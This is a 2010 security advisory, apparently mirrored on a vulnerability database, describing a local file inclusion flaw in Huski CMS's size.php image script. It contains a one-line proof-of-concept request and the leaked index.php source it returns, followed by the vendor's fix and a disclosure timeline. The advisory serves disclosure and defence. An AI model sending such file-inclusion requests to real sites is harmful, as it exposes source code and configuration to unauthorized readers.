Lucene search
K

Huski CMS Local File Inclusion

🗓️ 05 Feb 2010 00:00:00Reported by justanotherhacker.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Huski CMS Conditional Local File Inclusion vulnerability in size.php image resizing script

Code
`--------------------------------------------------------------------------------------------  
20100205 - Justanotherhacker.com : HuskiCMS local file inclusion  
JAHx102 - http://www.justanotherhacker.com/advisories/JAHx102.txt  
--------------------------------------------------------------------------------------------  
  
HuskiCMS  
huski CMS effectively places the control of the website back into the hands of you, the site owner. huski CMS is extremely user friendly and has been developed with the lowest denominator in IT knowledge in mind. huski CMS is still a very powerful and flexible system which ensures your site is using the latest technologies such as AJAX, XML, XHTML, and CSS  
[ Taken from: http://www.huskicms.com ]  
  
  
--- Vulnerability description ---  
A conditional local file inclusion exists in the image resizing script size.php's i parameter.  
The parameter is not filtered and allows arbitrary file inclusion.  
  
Type: Local File Inclusion  
Severity: Low  
Release: Responsible  
CVE: None  
Vendor: ASCET Interactive - http://www.ascetinteractive.com  
Affected versions:  
Unknown  
  
--- Proof of Concept ---  
~$ GET 'http://[target]/size.php?i=index.php'  
<?php  
header ('Content-Type: text/html; charset=utf-8');  
// Data Includes  
include_once "PHPLib/db_mysql.inc";  
include_once "Data/dbConnection.class.php";  
include_once "Data/dbConfig.class.php";  
include_once "Data/dataAdapter.class.php";  
include_once "Quicksite/Core/domxml.class.php";  
  
  
// Quicksite Core Includes  
include_once "Quicksite/Core/all.inc.php";  
  
// Configuration  
include_once "Quicksite/db.config.php";  
include_once "inc/vars.config.php";  
  
// Initialise the Site  
$site = new Site($_VARS['site']);  
print_r($_SESSION['login']);  
// Initialise the Page  
$page = new Page($site, $_GET['id'], array_merge($_POST, $_GET));  
  
// Load plugin sources  
$page->loadPluginSources();  
  
// Create the Page  
$page->createPage();  
  
echo $page->Result;  
?>  
  
  
--- Solution ---  
Upgrade to a more recent version  
  
--- Disclosure time line ---  
05-Feb-2010 - Public disclosure  
29-Jan-2010 - Vendor acknowledge vulnerability  
28-Jan-2010 - Vendor notified through email  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation